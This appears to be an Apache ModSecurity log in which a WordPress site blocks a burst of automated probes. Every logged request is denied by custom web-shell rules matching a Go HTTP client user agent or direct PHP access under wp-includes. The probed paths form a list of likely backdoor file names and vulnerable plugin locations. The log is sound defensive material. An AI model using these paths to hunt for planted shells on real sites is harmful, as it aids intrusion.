[Sat Apr 25 13:59:01.482925 2026] [:error] [pid 44319:tid 44344] [client 193.37.32.165:47203] [client 193.37.32.165] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-load.php"] [unique_id "aexYJczJPAVLUb2pWtKXYQAAAA8"]
[Sat Apr 25 13:59:06.856020 2026] [:error] [pid 44319:tid 44336] [client 193.37.32.155:23795] [client 193.37.32.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentytwo/parts/"] [unique_id "aexYKszJPAVLUb2pWtKXZQAAAAc"]
[Sat Apr 25 13:59:07.069804 2026] [:error] [pid 44319:tid 44338] [client 193.37.32.107:40225] [client 193.37.32.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/"] [unique_id "aexYK8zJPAVLUb2pWtKXZwAAAAk"]
[Sat Apr 25 13:59:07.342095 2026] [:error] [pid 44319:tid 44346] [client 193.37.32.169:65507] [client 193.37.32.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/query-title/"] [unique_id "aexYK8zJPAVLUb2pWtKXaAAAABE"]
[Sat Apr 25 13:59:07.565058 2026] [:error] [pid 46083:tid 46105] [client 193.37.32.154:40957] [client 193.37.32.154] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/revslider/temp/update_extract/revslider.php"] [unique_id "aexYKzxw_Zq74vWdjmnqPwAAARI"]
[Sat Apr 25 13:59:07.856975 2026] [:error] [pid 44321:tid 44384] [client 193.37.32.107:36517] [client 193.37.32.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pretty-link/js/build/wp-cron.php"] [unique_id "aexYK41b5lV-asWa_Y6U9wAAAIE"]
[Sat Apr 25 13:59:08.062336 2026] [:error] [pid 46083:tid 46107] [client 193.37.32.131:21649] [client 193.37.32.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/wp-conflg.php"] [unique_id "aexYLDxw_Zq74vWdjmnqQAAAARM"]
[Sat Apr 25 13:59:08.366178 2026] [:error] [pid 44319:tid 44339] [client 193.37.32.150:62113] [client 193.37.32.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/astra/inc/builder/type/base/dynamic-css/button/"] [unique_id "aexYLMzJPAVLUb2pWtKXaQAAAAo"]
[Sat Apr 25 13:59:13.638508 2026] [:error] [pid 44321:tid 44392] [client 193.37.32.165:29163] [client 193.37.32.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/vendor/about.php"] [unique_id "aexYMY1b5lV-asWa_Y6U-QAAAIk"]
[Sat Apr 25 13:59:13.838755 2026] [:error] [pid 44321:tid 44391] [client 193.37.32.131:42903] [client 193.37.32.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/woocommerce/includes/import/about.php"] [unique_id "aexYMY1b5lV-asWa_Y6U-gAAAIg"]
[Sat Apr 25 13:59:14.242095 2026] [:error] [pid 44321:tid 44388] [client 193.37.32.155:62467] [client 193.37.32.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/author-template-object.php"] [unique_id "aexYMo1b5lV-asWa_Y6U-wAAAIU"]
[Sat Apr 25 13:59:15.253702 2026] [:error] [pid 44321:tid 44397] [client 193.37.32.142:35453] [client 193.37.32.142] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/error.php"] [unique_id "aexYM41b5lV-asWa_Y6U_QAAAI4"]
[Sat Apr 25 13:59:15.451718 2026] [:error] [pid 44321:tid 44400] [client 193.37.32.153:49863] [client 193.37.32.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/text.php"] [unique_id "aexYM41b5lV-asWa_Y6U_gAAAJE"]
[Sat Apr 25 13:59:15.660792 2026] [:error] [pid 44321:tid 44387] [client 193.37.32.166:34129] [client 193.37.32.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/tag-cloud/"] [unique_id "aexYM41b5lV-asWa_Y6U_wAAAIQ"]
[Sat Apr 25 13:59:16.271846 2026] [:error] [pid 44321:tid 44393] [client 193.37.32.109:35923] [client 193.37.32.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/autoload_classmap.php"] [unique_id "aexYNI1b5lV-asWa_Y6VAAAAAIo"]
[Sat Apr 25 13:59:22.041929 2026] [:error] [pid 44319:tid 44330] [client 193.37.32.176:56431] [client 193.37.32.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/zz.php"] [unique_id "aexYOszJPAVLUb2pWtKXagAAAAE"]
[Sat Apr 25 13:59:22.267514 2026] [:error] [pid 44319:tid 44353] [client 193.37.32.153:47141] [client 193.37.32.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/maintenance.php"] [unique_id "aexYOszJPAVLUb2pWtKXawAAABg"]
[Sat Apr 25 13:59:22.532577 2026] [:error] [pid 44425:tid 44446] [client 193.37.32.164:23233] [client 193.37.32.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfour/patterns/file.php"] [unique_id "aexYOiUl-VlItvY2tR-NTgAAANM"]
[Sat Apr 25 13:59:22.754716 2026] [:error] [pid 44321:tid 44384] [client 193.37.32.140:51037] [client 193.37.32.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin-header.php"] [unique_id "aexYOo1b5lV-asWa_Y6VAgAAAIE"]
[Sat Apr 25 13:59:23.062182 2026] [:error] [pid 44425:tid 44447] [client 193.37.32.146:54513] [client 193.37.32.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/rip.php"] [unique_id "aexYOyUl-VlItvY2tR-NTwAAANQ"]
[Sat Apr 25 13:59:23.260614 2026] [:error] [pid 44425:tid 44434] [client 193.37.32.169:25509] [client 193.37.32.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp-signin.php"] [unique_id "aexYOyUl-VlItvY2tR-NUQAAAMc"]
[Sat Apr 25 13:59:23.468907 2026] [:error] [pid 44321:tid 44383] [client 193.37.32.145:29671] [client 193.37.32.145] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/wp-mail.phpp"] [unique_id "aexYO41b5lV-asWa_Y6VAwAAAIA"]
[Sat Apr 25 13:59:23.671450 2026] [:error] [pid 44321:tid 44401] [client 193.37.32.135:57005] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog-header.php"] [unique_id "aexYO41b5lV-asWa_Y6VBQAAAJI"]
[Sat Apr 25 13:59:23.922205 2026] [:error] [pid 44321:tid 44403] [client 193.37.32.106:58855] [client 193.37.32.106] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/upload/"] [unique_id "aexYO41b5lV-asWa_Y6VBgAAAJQ"]
[Sat Apr 25 13:59:24.440011 2026] [:error] [pid 44321:tid 44407] [client 193.37.32.166:62439] [client 193.37.32.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/widgets-form-blocks-interface.php"] [unique_id "aexYPI1b5lV-asWa_Y6VBwAAAJg"]
[Sat Apr 25 13:59:24.830365 2026] [:error] [pid 44321:tid 44397] [client 193.37.32.175:35059] [client 193.37.32.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/nextpage/wp-cron.php"] [unique_id "aexYPI1b5lV-asWa_Y6VCAAAAI4"]
[Sat Apr 25 13:59:30.080017 2026] [:error] [pid 44321:tid 44390] [client 193.37.32.140:40981] [client 193.37.32.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/chosen.php"] [unique_id "aexYQo1b5lV-asWa_Y6VDgAAAIc"]
[Sat Apr 25 13:59:30.277397 2026] [:error] [pid 44321:tid 44384] [client 193.37.32.133:38529] [client 193.37.32.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/wp-conflg.php"] [unique_id "aexYQo1b5lV-asWa_Y6VDwAAAIE"]
[Sat Apr 25 13:59:30.476249 2026] [:error] [pid 44321:tid 44383] [client 193.37.32.157:39949] [client 193.37.32.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/login.php"] [unique_id "aexYQo1b5lV-asWa_Y6VEAAAAIA"]
[Sat Apr 25 13:59:35.731452 2026] [:error] [pid 44425:tid 44439] [client 193.37.32.170:41297] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/js/about.php"] [unique_id "aexYRyUl-VlItvY2tR-NVAAAAMw"]
[Sat Apr 25 13:59:36.056660 2026] [:error] [pid 44425:tid 44430] [client 193.37.32.131:50189] [client 193.37.32.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/config.php"] [unique_id "aexYSCUl-VlItvY2tR-NVQAAAMM"]
[Sat Apr 25 13:59:36.263870 2026] [:error] [pid 44425:tid 44431] [client 193.37.32.166:30439] [client 193.37.32.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/system_core.php"] [unique_id "aexYSCUl-VlItvY2tR-NVgAAAMQ"]
[Sat Apr 25 13:59:36.463228 2026] [:error] [pid 44319:tid 44351] [client 193.37.32.143:59221] [client 193.37.32.143] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/backup.php"] [unique_id "aexYSMzJPAVLUb2pWtKXbAAAABY"]
[Sat Apr 25 13:59:41.764464 2026] [:error] [pid 44319:tid 44331] [client 193.37.32.151:36993] [client 193.37.32.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/login.php"] [unique_id "aexYTczJPAVLUb2pWtKXcAAAAAI"]
[Sat Apr 25 13:59:47.579686 2026] [:error] [pid 44321:tid 44396] [client 193.37.32.143:58509] [client 193.37.32.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/config.php"] [unique_id "aexYU41b5lV-asWa_Y6VHQAAAI0"]
[Sat Apr 25 13:59:53.166954 2026] [:error] [pid 44321:tid 44393] [client 193.37.32.157:57909] [client 193.37.32.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/network/about.php"] [unique_id "aexYWY1b5lV-asWa_Y6VIQAAAIo"]
[Sat Apr 25 13:59:54.029891 2026] [:error] [pid 44425:tid 44435] [client 193.37.32.153:28093] [client 193.37.32.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/upload.php"] [unique_id "aexYWiUl-VlItvY2tR-NXAAAAMg"]
[Sat Apr 25 13:59:54.236202 2026] [:error] [pid 44425:tid 44432] [client 193.37.32.175:37633] [client 193.37.32.175] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/srtdgd.php"] [unique_id "aexYWiUl-VlItvY2tR-NXQAAAMU"]
[Sat Apr 25 13:59:54.437996 2026] [:error] [pid 44321:tid 44399] [client 193.37.32.170:48489] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/advanc.php"] [unique_id "aexYWo1b5lV-asWa_Y6VJQAAAJA"]
[Sat Apr 25 13:59:54.673672 2026] [:error] [pid 44425:tid 44439] [client 193.37.32.132:55151] [client 193.37.32.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/uploads/config.php"] [unique_id "aexYWiUl-VlItvY2tR-NXgAAAMw"]
[Sat Apr 25 14:00:04.884406 2026] [:error] [pid 44321:tid 44394] [client 193.37.32.156:46603] [client 193.37.32.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/js_composer_theme/include/classes/vendors/plugins/login.php"] [unique_id "aexYZI1b5lV-asWa_Y6VNAAAAIs"]
[Sat Apr 25 14:00:05.258272 2026] [:error] [pid 44320:tid 44377] [client 193.37.32.138:45757] [client 193.37.32.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-file-manager/lib/php/plugins/api.php"] [unique_id "aexYZTmFqSpku_dij8jDwAAAAFU"]
[Sat Apr 25 14:00:05.749355 2026] [:error] [pid 44321:tid 44405] [client 193.37.32.165:35811] [client 193.37.32.165] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-mail.php"] [unique_id "aexYZY1b5lV-asWa_Y6VNgAAAJY"]
[Sat Apr 25 14:00:06.067792 2026] [:error] [pid 44321:tid 44387] [client 193.37.32.147:46277] [client 193.37.32.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/jetpack/extensions/plugins/load.php"] [unique_id "aexYZo1b5lV-asWa_Y6VNwAAAIQ"]
[Sat Apr 25 14:00:06.353314 2026] [:error] [pid 44321:tid 44384] [client 193.37.32.131:49459] [client 193.37.32.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/loginpress/css/themes/wp-cron.php"] [unique_id "aexYZo1b5lV-asWa_Y6VOAAAAIE"]
[Sat Apr 25 14:00:06.670996 2026] [:error] [pid 44321:tid 44391] [client 193.37.32.131:22207] [client 193.37.32.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/fileorganizer/manager/php/plugins/wp-load.php"] [unique_id "aexYZo1b5lV-asWa_Y6VOQAAAIg"]
[Sat Apr 25 14:00:06.872931 2026] [:error] [pid 44321:tid 44389] [client 193.37.32.140:21759] [client 193.37.32.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/jupiter/assets/js/plugins/wp-signup.php"] [unique_id "aexYZo1b5lV-asWa_Y6VOgAAAIY"]
[Sat Apr 25 14:00:07.121426 2026] [:error] [pid 44321:tid 44390] [client 193.37.32.109:22861] [client 193.37.32.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/xmlrpc.php"] [unique_id "aexYZ41b5lV-asWa_Y6VPAAAAIc"]
[Sat Apr 25 14:00:09.181220 2026] [:error] [pid 44321:tid 44386] [client 193.37.32.133:59795] [client 193.37.32.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/options.php"] [unique_id "aexYaY1b5lV-asWa_Y6VQgAAAIM"]
[Sat Apr 25 14:00:09.579568 2026] [:error] [pid 44321:tid 44384] [client 193.37.32.150:30801] [client 193.37.32.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/module.php"] [unique_id "aexYaY1b5lV-asWa_Y6VQwAAAIE"]
[Sat Apr 25 14:00:09.841847 2026] [:error] [pid 44321:tid 44391] [client 193.37.32.142:49383] [client 193.37.32.142] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/xy.php"] [unique_id "aexYaY1b5lV-asWa_Y6VRAAAAIg"]
[Sat Apr 25 14:00:15.050093 2026] [:error] [pid 44320:tid 44357] [client 193.37.32.147:41051] [client 193.37.32.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/footer-class.php"] [unique_id "aexYbzmFqSpku_dij8jDxAAAAEE"]
